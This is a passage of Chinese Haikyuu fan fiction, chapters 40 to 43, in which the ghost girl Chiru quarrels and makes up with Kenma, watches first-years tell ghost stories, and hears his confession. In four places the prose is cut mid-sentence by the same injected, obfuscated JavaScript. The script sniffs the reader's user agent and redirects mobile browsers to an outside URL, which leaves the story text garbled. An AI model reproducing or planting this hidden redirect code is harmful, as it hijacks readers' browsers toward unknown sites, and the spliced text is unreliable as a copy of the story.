回到案发现场的小八被现场可怕的气息吓得一哆嗦。 研磨话变少了可以用吃醋来解释,为什么玩家的表情也变得那么可怕。 整整十分钟,两人只有递零食的交流。 “话梅吃吗?”研磨问。 “好。”千流答。 一阵缄默。 一大袋酸溜溜的话梅就这样被两人瓜分殆尽。 “我接着去练习了。” “好哦,没问题。” 小八只敢在研磨离开后飘着小碎步到玩家的身旁。 玩家一把抓住了小八。 [好可怕!这是要秋后算账了吗]小八在玩家的手掌心里颤颤巍巍地想着。 好在玩家的攻击对象并不是它。 千流把小八搓圆,愤愤:“我现在才反应过来。” 小八心一提,反应过来研磨喜欢玩家吗。 “在研磨心里,我居然还不是可以过关的那种好朋友。”她拧巴地撇嘴,质问小八,“那家伙是不是很过分?” 小八的心就像坐上了过山车。 它支支吾吾:“是有点吧。” 自从研磨的好感值线路从友情转变为爱情之后,友情值自然不会上涨。 但玩家并不知晓这一点。 它总算捋清了僵硬气氛的来源。 “所以玩家决定不理研磨一段时间?” 千流拍了拍小八的脑袋:“你这是什么想法,冷暴力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177428|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不可取的。” 她拍了拍自己的胸脯:“鄙人一向心胸宽广,才不会跟研磨计较。” “不过在此之前。”千流在系统面板狂点一通,小山般的零食出现在了躺椅旁边。 小八满脸黑线。 玩家和研磨究竟买了多少零食存货啊。 “我要吃独食了。”千流扯开一包青柠口味的薯片,坚定地宣布。 ——所以,玩家发脾气的方式就是背着研磨吃独食吗? “怎么样,小八。”千流大口大口地咀嚼着薯片,发出咔呲咔呲的声线,满意地问道,“我这一招是不是很坏?” “...玩家简直是一肚子坏水啊!”小八违心地说着。 千流露出了满意的笑容。 * 运动系少年的第二个特点——精力充沛。 别看他们上一秒在排球馆的地板上东一摊西一摊,只要“吃饭了”这样的声音传入耳畔,所有人就像觉醒的饿狼一样,拔腿往食堂狂奔。 仁花震惊地看到排球馆卷起一阵狂风,瞬间变得人烟稀少。 她看着慢条斯理的音驹二传手:“你不急着去吃饭吗?” 他说了句“谢谢”,回头朝排球馆内又看了一眼,就像那边的角落还有什么人一样。 仁花顺着他的视线望去,除了装排球的推车,里面空无一人,再回头,他已经离开了排球馆。 仁花摸了摸脑袋,疑惑地小声说着:“好奇怪。” “满血复活!!!”木兔仰头大笑。 对面的黑尾忍不住发笑:“赤苇,木兔这家伙在外面吃饭也会这样吗?” 赤苇:“木兔学长在外面还是会收敛一点的。” “黑尾你这家伙什么意思啊!” “哇哦,你居然能听出我的言外之意吗?” “听不出啊!”木兔果断,“但肯定不是什么好话,你这家伙一脸坏笑。” 赤苇:“吃饭的时候请不要扭打。” 他勉强维持了一番饭堂的秩序,看向一直没有发话的研磨。 “孤爪同学。” 研磨望向赤苇,拉住小黑:“猫又教练看过来了。” “不是说这个。”赤苇思索,“孤爪同学是有什么心事吗?” 黑尾把筷子搭在搜刮一空的饭盘上:“吃饭的时候居然都不看手机,绝对是有心事吧。” 赤苇平静的神色出现了一丝裂痕,原来黑尾学长不是靠微表情,而是靠吃饭时的习惯来判断的吗。 思量片刻,他还是暗自把这一点也加入了【可以借鉴的饲养方法】中。 “小黑想多了。”研磨把手机举起,他按动侧边键,屏幕仍是漆黑一片,“只是没有电了。” 黑尾摩挲着下巴,不置一词地挑眉。 全场唯一状况外的木兔“哈哈哈”地大笑:“黑尾你还说我不会读气氛,结果你和赤苇都猜错了吧。” 他满怀期待地用炯炯有神的目光盯着研磨:“其实我才是最【高情商】的,对吧?” “木兔学长居然知道这个词了。”赤苇惊讶。 研磨选择一言不发地吃饭。 唯独这句话,他还是没法昧着良心说出来。 40.研磨猫猫养成手札 32 * 虽说冷暴力这种行为并不可取。 我叹了口气。 但我和研磨还算默契十足地选择了在彼此消气前减少交流。 但是我莫名地更加生气了! 我踱步在夜晚的走廊上,小八静悄悄地跟着我。 “小八!” 小八这家伙也满怀心思的样子,整个晚上每当被我叫住名字就浑身一震,连平日贱嗖嗖与我对话的语气都消失了。 我试图找到合适的比喻来形容这种既视感。 ——就像爸妈要离婚夹在中间的小孩? 我摇头,这个比喻显然不合适。 言归正传,我坐在走廊的长椅上,这个地方的花草有些杂乱,看起来像是园艺师未能光顾的一隅,灌木与杂草都自由地生长着。 “研磨那家伙为什么也一幅不大开心的样子?”他看到我时微妙的表情总让我觉得那股情绪是向我而来的。 让人摸不着头脑。 小八小心翼翼:“有没有可能是玩家猜错了,研磨应该是训练太久了,有些累?” 我勉强接受了这个解释:“好吧,那就让他好好休息一下吧。” ...这句话的意思就是今天不打算再去找研磨了吗。 我听到走廊的尽头传来一些人的话语声,百无聊赖的我顺着声音的来处走去。 摇曳的灯光下,最为夺目的就是那颗橘子头脑袋,他的手里捧着一个白色的蜡烛,我的靠近不小心掠过了树叶,发出了沙沙的声响,他瞬间敏锐地转过脑袋,扫视四周,在确认空无一人后,轻轻地呼了一口气。 他自言自语地说着:“自己吓自己...其他人怎么都还没来。” 原来是在等人吗? 我看着他一幅已经洗漱过的样子,身上穿着单薄的短袖睡衣,虽说这种天气不算冷,但寒风吹来的时候还是会让人忍不住发抖。 研磨在这种天气就会穿长款的睡衣。 我晃晃脑袋,气呼呼地重新看向橘子头脑袋。 他看到了同伴,高高招手:“影山,这里!” “真没想到你回来!”橘子头脑袋用夸张的语气说着。 刘海呈M型的男生撇嘴:“boke日向,我为什么不能来?” 接下来来到这里的是福永,猛虎,列夫...... 看起来没有高年级的人,貌似是音驹和乌野一二年级生的聚会。 唯一的共同点就是他们每个人手里都拿着一个蜡烛。 怎么看起来那么像奇奇怪怪的仪式。 我没有在他们之间看到研磨。 想来也是,研磨才不会在这么晚的时候跑到外面来喂蚊子,我都能想象他非常迅速地拒绝的表情。 我扯着自己的嘴角,把它掰成下括号,提醒自己。 ——你还在生气,江千流。 这群人里负责主持大局的居然是福永。 难道是什么听相声的场合吗? 我打量四周,没有什么可以让我落脚的地方,没办法,我只好窜到走廊上的横栏,俯视着围成圈的众人。 福永站起身,把几人的蜡烛都点亮,随后起身把控制走廊灯光的开关按掉,走廊瞬间只有昏黄的几点火光。 “哇啊啊啊啊啊啊!!!!” 震耳欲聋的大叫险些穿破我的耳膜,橘子头脑袋的蜡烛顽强地挺立着。 “boke日向,你到底在叫什么啊!” “臭脸影山在蜡烛的光下更可怕了,像恶鬼。” 确认了,是讲相声的场合。 爽朗的西谷掰开两人越凑越近的脑袋:“好了好了,开始吧福永。” 我没想到福永除了说笑话的天赋,还有讲鬼故事的天赋,可能是因为讲笑话这件事也需要控制甩包袱的节奏,总之福永的声音很让人有代入感,娓娓道来,前期的故事铺垫也不会让人出戏,而是聚精会神地听着他的叙述。 大只的猛虎抱住自己,缩成一团,小声:“你们有没有觉得这个地方格外冷。” 西谷点头,耳朵还是专注竖起,听着福永讲恐怖故事。 福永:“那天,那几个学生就是像我们这样,他们听说围成一圈,拿着白蜡烛,就可以召唤鬼神大人来实现他们的愿望,但是他们听的故事版本错了。” “召唤出的鬼神大人并不是善良的鬼神,而是来自东方地府的恶鬼。” “他们手里的蜡烛就那样,一盏一盏,一盏一盏地熄灭。” 橘子头脑袋畏畏缩缩,拿手护住蜡烛:“蜡烛大人,求求你不要熄灭。” 这世界上可能没有蜡烛大人,不过有来自东方地府的鬼怪千流。 为了让他们的聚会更有氛围感,我跳下横栏,一盏、一盏地吹灭。 好心的我留下了橘子头脑袋手里的蜡烛。 霎时间,连正在讲故事的福永都屏住呼吸不再说话。 不知谁手中的蜡烛滚落在地面上,声音很突兀。 橘子头脑袋眼睛里的光都熄灭了:“求你了蜡烛大人,赶快熄灭吧。” “不然鬼怪一眼就要看到我了...” 还没等到我把他的那个吹灭,日向对面的猛虎颤颤巍巍地举起手,指着日向身后的我:“日向,你的背后...” “山本学长,不要吓我啊!” 列夫抱住福永:“...真的有人,日向。” 难道卡bug了? 他们突然能看到我? 我都想拿镜子照照自己这时候的样子,不管怎么说,我看起来也是一幅美少女的样子吧,不至于看到我尖叫成这样。 “啪嗒”一声,走廊的灯光被按开,年久失修的灯光一闪一闪,众人的尖叫把云都吓得散开了。 我注意到叫影山的那位一声不吭。 ——不会是被吓晕了吧。 我顺着他们的目光转头,走廊的尽头是我熟悉的身影,研磨穿着长款睡衣,还戴着睡衣的连体帽,一黄一黑的猫耳在风中晃了晃。 被萌到的我倔强地记得自己还在生气,慌不择路地又窜上了横栏。 “不是所有的鬼都很可怕。”他的声音很小,但风把它们全部送到了我的耳畔。 我才不会承认自己的不开心轻易地被这句话带走了一半。 “研磨又没见过鬼。”福永困惑。 “你们叫得太大声了。”研磨没有解释,“学长们叫我把你们抓回去睡觉。” “原来是研磨!”日向从西谷的身上跳下来,捂住自己的心脏,“我被一惊一乍的他们吓了一跳。” 虽然音驹和乌野的学长平日里都有些不着调,但生气时的样子都相当可怕。 他们纷纷拿起地上东倒西歪的白蜡烛,争相赶往合宿的房间。 * 白炽灯下,研磨本就白皙的皮肤更加透亮,他的指尖捏着猫耳,我略带遗憾地看着他把帽子拂下。 我撑着横栏,晃了晃脚尖,最后还是轻飘飘地跃下。 “研磨还不回去,是打算留在外面喂蚊子吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177429|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他轻触自己的后颈,顺着他的指尖,发红的蚊子包相当晃眼。 ...我可没想变成乌鸦嘴。 记得背包里有一款专治蚊虫叮咬的道具,我打开面板翻找了一番,把它放在研磨的手中。 “看不到。” 胡说八道。 我板着脸,拿过他手中的喷剂,走到他的身后。 指尖故意在他的后颈胡乱点来点去,我记得研磨从小就有些怕痒。 总之离涨红的蚊子包有十万八千里远:“这里?” 金黄色的发丝随着他的摇头划过我的手腕,发尾还没吹干,稍微有些湿漉漉的水汽沿着发丝蔓延到我的手腕,莫名地,我想要收回手。 我敛去心中异样的感觉,一声不吭地举起喷雾,轻轻地按下。 系统的道具见效显著,红点渐渐消失。 我侧目,余光里的另一处也淡淡发红。 蚊子连耳垂也会光顾吗? 我按下喷雾,雾状的水汽将研磨的耳垂浸湿。 红晕却仍未褪去,在白炽灯下更加显眼。 我迟钝地疑惑片刻,恍然无措地把喷剂塞进系统背包。 再怎么说研磨也是高二的学生了。 还跟过去一样挠他的后颈逗他笑,怎么想也很奇怪,简直像什么没有分寸的大人。 ——害羞也是正常的吧。 明明是研磨的耳垂发红,我却觉得那一抹红晕化成了火,蔓延上我的耳垂,直到大脑都因为这团火也宕机。 宕机的我看着研磨转过身,我才发现,即使是在害羞的时候,那双琥珀色的眼睛也像静谧的湖泊,承着一湖的阳光。 研磨低下头,双手拉起帽子,帽檐在他的脸上打上了一层阴影,他轻声:“千流喜欢这样?” 火烧云飘到了我的脸颊,我视线漂移:“...没有。” “刚刚在横栏上的时候,明明一直在看。”研磨善解人意的品质完全失踪了,他刨根究底,“不喜欢吗?” 我嘴硬:“你没有在看我吧。” 猫耳xp处于被发现的边缘,我誓死捍卫我的xp秘密。 对于研磨这类敏感的人来说,视线是有温度的。 他没有纠结于千流转移话题的行为。 “喜欢也没有关系。” 不喜欢也没关系。 视线是有温度的。 他的目光一瞬不偏移地看着我,即使低垂着头也难以忽视。 “之前莫名其妙和千流冷战,对不起。” 原来我俩半天间间断断地说话,也算得上冷战了吗。 “...不用说对不起的。” 我伸出手,弯眼笑着:“握手言和?” 研磨伸手,明明握手的感觉像握着一阵风,风却呼呼地、喧嚣着,钻进他的胸膛。 他一以贯之的行动指南是循序渐进,有所把握的,在撒下一张网之后,把想要的完全收拢。 要是在没有把握的时候做出决策,迟早有一天会因为那天鲁莽的举动而后悔。 他不喜欢【后悔】这件事。 钻进胸膛的风却在鼓动、怂恿着。 一向平稳行驶的列车高亢鸣笛着脱了轨。 “我想要——” 他看见千流紫灰色的眼眸,静静地看向他,就像隔着一层难以跨越的雾,雾的另一端是缥缈的世界。 我想要。 就像我的余光长久地望向你那样。 “你也看向我。” 41.研磨猫猫养成手札 33 * [为了帮玩家提高游戏体验,本AI用私房积分兑换了实体体验卡] [在提示声“滴”之后生效] [等一下——]我慌乱制止小八。 既然前面都装作不在现场,就不要在这种时候横叉一手啊喂! “滴。” 双脚悬浮的鬼怪千流就这样回到了牛顿大人掌管的领地。 猝不及防间,我“啪嗒”一声坠在地面,石板路有着把人撂倒的魔力,不管怎样我也不想在这时候上演[倒在研磨怀中]这种少女漫情节。 于是我愣是把身体往后掰,殊料掰过头,整个人向后仰。 研磨回过神,稳稳地扣住我的手腕,往前一拉,我站稳在地面。 炽热的掌温毫不退让地传递。 我稍稍收拢足尖,视线不断地在他的手掌与我的手腕间徘徊。 我摇了摇手腕,疯狂暗示研磨该收手了这件事。 他稍微松了松力道,有些愣神,视线垂落于相扣的手,声音在风里一吹就散,带着丝丝笑意传入我耳畔: “抓住了。” 我脸热,趁机收起自己的手,背在身后,指尖摩挲手腕上尚存的温度。 简单的话语在嘴边打转:“啊诶,不知道为什么系统突然抽风了,把积分换成实体卡,总之谢谢研磨[抓住我]。” 我强行忽略直觉告诉我的,那句话里不同寻常的意味。 “嘛,研磨是吃醋了吧。”我僵硬地笑着,哥俩好地拍拍他的肩膀,“放心,我只给我们音驹加油,我是音驹铁粉。” 研磨琥珀色的眼眸静静地望着我,我的笑声减弱,最后逃避般看向走廊上的横杆,默默:“我可以再跳上去吗。” “以现在千流的跳跃能力,恐怕跳不上去。” 看来研磨还有心思跟我说笑,说不定能够浑水摸鱼…… 我满怀期望地抬眸。 …原来不说话的研磨这么有压迫感吗。 希望完全破灭。 我捂脸:“研磨为什么不让我蒙混过关。” “演技太差了。”再放水就变成瞎子了,研磨看着千流单薄的裙子,“要去拿件外套吗?” 我摇摇头:“就算是实体状态,鬼也不会生病的。” “不高兴是因为吃醋,刚刚那句话的意思是希望千流的目光更多地看向我。” 这算表白再放送吗。 今晚的风很喧嚣,拨弄着树叶沙沙作响,研磨的猫猫睡衣连胸口处都是三花猫的元素,随着他说话的节奏,胸口的小猫也在跃动。 金色的发丝像湖中流动的光点,捕获了我全部的余光。 我背着的双手紧紧攥在一起:“……” “为什么喜欢我?” 今晚以来一直坚决的研磨突然有些青涩和踌躇,他看向白炽灯下重叠的影子:“不喜欢才奇怪吧。” 超、超高的评价呢。 我一时无措。 研磨像冲破了什么屏障,用少有的急切又大声的语气说着: “喜欢和千流一起打游戏,说实话,你们系统颁布的那些七七八八的任务都很没意思。” 缄默的小八露出被万箭穿心的表情。 “……但和千流在一起,那些事情都会变得有趣。” 一幅猫猫炸毛的样子,我这样想着,眼前的研磨“咻”地一下抬头将我锁定。 他拧巴地问着:“千流那是什么表情?” “震惊嘛。”我摸摸自己的后脑勺。 “为什么震惊,我这么喜欢一个人很奇怪吗?” 我急忙摇头,感觉再迟疑一秒研磨就要像鼓起的气球一样“啪”地那样炸开。 他很快收敛了神情,只剩下微微起伏的胸膛表达着并不平静的内心:“那千流呢?” “我嘛……” 脑袋里生锈的齿轮拼命运转。 “我戴这个帽子的时候,千流很喜欢吧。” “这个手环。”研磨掀开手腕上的衣袖,“千流也很喜欢吧。” “起外号的时候,不管是[蜂蜜面包]还是[焦糖布丁]都念得很开心吧。” “我握住千流手的时候,千流为什么会不自在?” 一步一步地,研磨毫不退让地将躲在茧中的我剥开。 “既然千流对我也有感觉,如果不确定的话,为什么不试试看?” 猫猫想要捉鱼的时候,常常会比往常更有耐心,小心地收敛自己的爪子,露出无害的模样。 但猫科动物的共同点就是一旦抓住猎物就不会放手。 我心直口快:“试试看的话,研磨会放手吗?” 他微妙地选择了沉默。 我该感谢研磨的诚实吗? 还是说我俩不愧是能打出同一种游戏结局的好伙伴,对于感情的这种奇奇怪怪的观念也非常合得来。 …… 不管怎么样,这都只是一款删档测试的游戏。 要是我是一个比较随性的玩家,大概也毫无顾忌地应下研磨的告白,趁这段还没有ending的时间好好享受虚无缥缈的爱恋。 “研磨是不是忘记我的身份了?” “不管怎么样,我都只是来自东方的一个女鬼,现在这样跟你交流也只是借助了任务系统的帮助吧。” “所以千流的意思是只要不是鬼就行了。” 我一噎,头一次感觉到研磨这样敏锐的性格,一旦他不想顺着你的想法来,就能完全掌握对话的节奏。 “……对。” 就像所谓的人鬼界限可以被轻飘飘地跨越,他轻巧地点点头:“千流要说话算话。” 我大概能猜到研磨的想法。 ——借助最终的任务奖励,用系统的[愿望]换来我转生的机会。 假如我是真正的[女鬼千流],一定会被他真挚的感情所感动,然后心有负担地劝说他可以用这个奖励的机会去换更多更好的东西。 比如某次排球赛的大胜,大家一举打进全国赛夺得冠军。 或者数不尽的钱财,众人的仰慕。 我将这些心声念了出来。 “千流说的那些,光靠我自己也能达成吧。”他从未露出过这样锋芒毕露的表情,嘴上还谦虚地说着“可能要费点劲”。 白炽灯的光芒播撒在他的脸上,恍惚间,我看见了清朗的月辉。 “还真是说大话呢。”我笑道,“那我就稍微费一点点劲就能办到吧。” “那研磨。”我询问,“我们之间现在是什么关系。” 他胡言乱语:“互相表白的暂定好朋友。” “我还没表白呢。”千流在此澄清。 “那好朋友千流。” “嗯?” “趁实体卡的时间还没有结束。”在他琥珀色的瞳孔里,我仿佛嗅到了流淌的蜂蜜糖浆的气息,“可以做一件之前一直想做的事情吗?” 裙摆被微风吹着打了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191076|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旋,我打趣:“朋友之间不能kiss。” 哼哼,虽然揭露我xp的时候研磨面不改色,结果一提到kiss,眼神飘忽着不敢和我对视,果然还是青涩的男高中生! 先前被隐隐压一头这种事,绝对是错觉。 他迅速反击:“千流都在想什么。” 他喊我闭眼,糊里糊涂地,基于对研磨的信任,我照做不误地闭起了眼。 视觉被屏蔽后,其余的感官被无穷地放大。 我能听见,他的衣服与风碰撞细微的摩擦声。 距离被一步步拉进,柑橘味的沐浴露味道扑面而来,我几乎以为那是一个即将到来的拥抱。 屈起的指节落在我的发顶,随后,温热的掌心完全铺开,像羽毛轻轻落下。 我攥紧的手慢慢松开,下意识亲昵地蹭了蹭研磨的掌心,他的手顿时僵住不动了,笑声从我的发顶传来。 我双颊涨红,不肯承认那是千流的行为。 绝对是被小八附身了。 “千流的头发炸炸的。” 这种话就不用说了吧。 要是我的头发很柔顺,才不会暗戳戳地嫉妒研磨的发质。 研磨垂眸,炸毛的发丝温顺地蜷进掌纹。 他一直觉得千流的头发,甚至性格,都像坚韧的苇草。 “永远炸毛也没什么不好。”他突然这么说,“千流一直以来都很厉害。” 我茫然地睁开眼,几乎一瞬间,我怀疑他即使隔着游戏的屏障也能猜到我的过去。 从只言片语中攥紧了我的灵魂。 我忽地笑了,用指节扣了扣他的头顶:“我可比你大,摸我头发,没大没小。” “千流才根本不像成年人吧,什么几百几千岁也肯定是唬人的。” “我已经年满一百岁。” “不信。” 那就变成人鬼黄昏恋了。 突如其来的喷嚏声打断了我们的话语,我与研磨面面相觑,他从口袋里掏出纸巾。 “喂喂。”我急忙推搡着他往住宿的地方走去,“前面被你打岔,都忘记你就穿了睡衣,赶紧回宿舍呆着。” 猫猫饲养员千流絮絮叨叨地上线了。 把研磨送到门口,为了避免把音驹听鬼故事的诸位吓一跳,我隔得远远的跟他摆摆手。 研磨的手搭在把手上,转头朝我挥手。 犹豫片刻,他还是三两步跑到我的面前。 “晚安,千流。” 我揉了揉鼻尖,怎么有种小情侣临别时腻歪的感觉。 “晚安研磨。” 他推开门,小黑他们盘问他“自己跑出去干嘛”的声音穿过薄薄的门板。 我愣神。 原来不是小黑他们叫研磨去找日向他们的吗? 后知后觉,联想到在排球馆我们之间凝滞的氛围。 这么晚到走廊,是因为我吗? * 小八撺掇着我赶紧把友情线修改成爱情线,方便我们推进任务进度。 我一边说着“好好好”,一边拨弄着任务面板。 指尖在面板处停住。 我想到任务结束之后,所有的过往都会被删除。 恐怕我也不会有在正式上线时再玩一次的心思了吧。 我一面缓缓修改任务攻略方向,低垂着脑袋,难以辨别神色。 “小八,要是这不只是一个游戏……” 那该有多好。 42.研磨猫猫养成手札 34 * 生活就像被摁下了加速键。 每个人都在各自既定的轨道里被推着向前。 游戏外,沉重的课业并没有因为研磨的告白而减少,在第一抹晨辉刚刚掠过大地的时候,完成洗漱草草扎了个马尾的我,衔起一块面包就匆匆出了门。 笔记本里满满当当的是今天要完成的任务,时间就这样被压缩进字里行间。 忙到游戏时间都被压缩到仅仅二十分钟。 我掩面打了个长长的哈欠,惺忪的余光里,发丝被汗水打湿、活像从水里拎出来的湿漉漉的研磨也被我绵长的哈欠传染。 随即,传染力超强的哈欠传递给了整个音驹,大家面面相觑之后笑作一团。 猫又教练:“要不今天先练到这里?” 猛虎与列夫齐声:“教练,我还想加练!” 连小黑都耷拉着双眼,一幅过度劳累的样子:“你们两个是体力怪物吗。” 我看向研磨,他阖上双眸,半长的头发软趴趴地垂下,彰显着本人的能量条已经耗尽。 我赶忙拿出猫条,偶不,是切成小块的苹果派,放在研磨的身边。 果然,他的眼睛咻一下就睁开了,透亮的眼眸跟着苹果派转。 我又从空间里掏出石榴汁,经过检验这是最配苹果派的饮料。 两人频率一致地大快朵颐。 我看到研磨的能量条蹭蹭蹭地往上涨,头发也恢复了光泽,不免感到欣慰。 为了进入春高的全国赛,音驹的众人可谓牟足了劲。 从我断断续续地登入游戏的时间,研磨和大家不是在训练,就是在进入训练的路上。 这样繁忙的日常让我们都默契地选择了把[表白]这件事放在后面。 即使是这样,我也不想让研磨觉得我登入游戏的时间越来越短暂是在躲着他。 犹犹豫豫地,我将这样的想法说出了口。 换来的是他瞪大的双瞳和漾着笑的回应:“千流是因为没有时间,还是因为在躲着我,这种事情一点都不难判断啊?” “为什么?”我不解。 他的手指隔着空气虚虚地点了一下我的黑眼圈:“这里,跟大熊猫一样。” …… 可恶的系统还是不要这么一比一地还原玩家的面部状态了。 他一边收拾着挎包,一边平淡地说着:“况且千流是那种做好决定就不会内耗的性格吧,我是不敢相信整整好几个月千流都因为我的告白而持续地休息不足。” 确实。 我讪讪地想着,我本以为自己会因为这件事辗转反侧,结果在第二天就全心全意地投身到学业里去了。 我嘴跑得比脑子快:“要是我真的躲着研磨……” 他在我面前总是过分坦率:“那我们的相处模式应该不是现在这样了。” 猫猫的竖瞳不加掩饰地将我锁定。 我赶忙岔开这个话题:“一直听小黑谈起,打户美的那场比赛也不算很轻松吧。” 研磨点头:“东京还是有很多强队的。” 我振奋:“虽然其他的比赛我可能很难准时到场,但音驹和乌野的垃圾场对决,我是绝对会来的!” 并非本人画大饼,只是小八已经通知我那次比赛会被判定成[重要节点]。 相信绝对是研磨的高光时刻。 我自信满满。 他偏过头,与我意料之中的反应并不相同,难得地有些懊恼。 “怎么了吗?” “只是光想到那场比赛,就会感觉精疲力尽了。” 研磨的战术分析从不会偏向于任何一方,而是理性地根据双方的战力值得出结论:“我们和乌野的风格刚好相对,假如说他们是以攻击见长,那我们就像密不可分的网。” “类似于最锋利的矛和最坚固的盾?”我类比。 “差不多。”他叹气,“所以一定很焦灼,大概是打完一场肌肉都完全酸痛的那种地步。” 那就是[熬研磨]的大战了。 计划通的我从空间背包里翻找一通。 首先是超强增肌功能的顶级鸡胸肉和蛋白粉。 我递给研磨。 速成肌肉猫猫,你值得拥有。 嘶,我幻想了片刻浑身肌肉的研磨在排球场上东奔西跑的状态。 研磨心领神会,面无表情地在我眼前晃了晃手,把我从稀奇古怪的幻想里拔了出来:“再怎么说也不可能在那么短的时间里把我练成像猛虎翔阳那样体力可怕的家伙。” 我遗憾地点头,把肌肉猫猫的可能性pass了。 那么我装在空间里的那些哑铃和健身道具大概也派不上用场。 苦思冥想着,我灵光一闪,从奖励道具的橱窗里扒拉出一个湛蓝色玻璃罐装着的药水。 研磨接过,打开药水一嗅。 直冲天灵盖的薄荷味一下把所有的倦意扫除一空,他有一种升天的错觉。 研磨把魔法药水合上。 “这是什么东西?” 虽说我薛定谔的记性常常时神时鬼,比如容易忘记前几天发生了什么事,但考试的内容和项目倒是从来没有忘记过,还有和研磨一起做完的大大小小的任务。 “这是【健将健将强效疲惫一扫而空药水】呀,我们之前完成【制霸球场】的任务获得的。” 这么想来,其实系统的支线任务判定一向很慷慨,也让我和研磨钻了不少空子。 比如[得到指导老师的表扬]这个判定标准。 想来我和研磨都想起了这个任务,表情都有些古怪。 原因是这样的: 小研磨虽然已经展现出他的洞察力,但很显然,初级排球课程的教学并不会让这项技能得以施展。 更考验的是基本功的掌握与练习。 为了通过系统判定,我们走了不少歪路。 比方说,让本鬼千流操纵排球的运行轨迹,打出各种发球角度与落点不同的超能力排球,以此来获得老师瞠目结舌“斯国一”的称赞。 明明别的超能力打球番都是这么上演的。 殊料小排球的世界观简直是正常的很,拒绝一切超能力。 指导老师在看到我们热血沸腾的组合技后,脑袋短暂地短路了三秒,随后笑着锤了锤自己的脑袋: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199642|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我这家伙也是真的老眼昏花了呢。” 二十几岁的他宁愿觉得自己老眼昏花也不愿相信我和研磨热血沸腾的组合技真实存在。 我们两个灰败地放弃了这条路。 人在情绪低落的情况下,往往听不清什么指令,于是我们两个沉思着,错过了老师叮嘱的[清洁任务]。 只记得什么要研磨打扫排球馆。 不管怎么说,让一个小蘑古力脑袋打扫整个排球馆,不免有点太不合理了。 千流只好堂堂出马。 隔天,瞠目结舌的指导老师收获了一个闪闪发光的排球馆,木制的地板被擦得反光,都能倒映出他张成O型的嘴巴。 于是在集合的时候,他问研磨:“排球馆是你留下来打扫的吗?” 研磨点点头。 老师擦拭着泪花,很是感动:“本来只是叫你吧排球馆的小推车和球整理一下,没想到孤爪同学把整个排球馆都整理了一遍。” …… 其实是他们完全没有听清老师的指令。 感动的老师当着众萝卜头的面大肆夸赞:“让我们一起感谢研磨同学好吗,他让我们的排球馆光洁如初。” 彼时的小黑尚且不是什么黑心鸡冠头,他也用星星眼看着研磨,小声地说着:“研磨昨天只是晚回家了二十分钟,居然清理了一整个排球馆吗!” 不,其实只用了五分钟清理排球馆。 剩下的十五分钟用于在书店买了十几本刚刚上新的漫画。 老师的话音刚落,系统就传来滴的提示音,我打开面板,上面俨然写着支线任务二[制霸球场]已完成。 只不过奖励勋章下面的字哗哗哗地像是被人擦掉了,然后又用粉笔再度写下。 [制霸球场的——清洁工] “你的系统绝对有什么恶趣味吧。”小蘑古力脑袋如此说到。 我也表示十分赞同。 * 虽然完成任务的方式不大对劲,但怎么说也是得到了道具。 我念着产品使用说明书:“轻嗅一口,睡意一扫而空,适合在疲惫的学习生活中使用,包你在课堂上目光炯炯有神,与老师活跃互动。” “轻酌一口,喝三分之一,可以让你的大脑细胞恢复高速运转的状态,是考试时的兴奋剂。” “轻酌两口,喝三分之二,可以让你的疲惫一扫而空,肌肉的酸痛和负担完全消失。” “而一饮而尽,你将体验到二十四小时活力充沛的自己,完全不需要睡眠这种东西了!!!” “健将健将强效疲惫一扫而空药水,你值得拥有。” 好作弊的道具哦。 如果用了它,有了完全不会耗尽的体力,配上研磨本就出众的洞察力,不就是战无不胜的存在了吗。 使用说明书上面并没有誊写什么副作用,而我询问了小八,它也表示这是完全没有副作用的魔法药水。 就像一个小恶魔,挥舞旗帜说着“有了我你就能拥有胜利”。 “要不先拿着?”我眨眨眼,把它放在了研磨的手心。 至于是否使用它,那就是研磨自己的选择了。 43.研磨猫猫养成手札 35 * “我们是血液,流淌不停,奔腾不息,运送氧气,为了让大脑正常工作。” 所有人的拳头围成一圈,研磨出神地想。 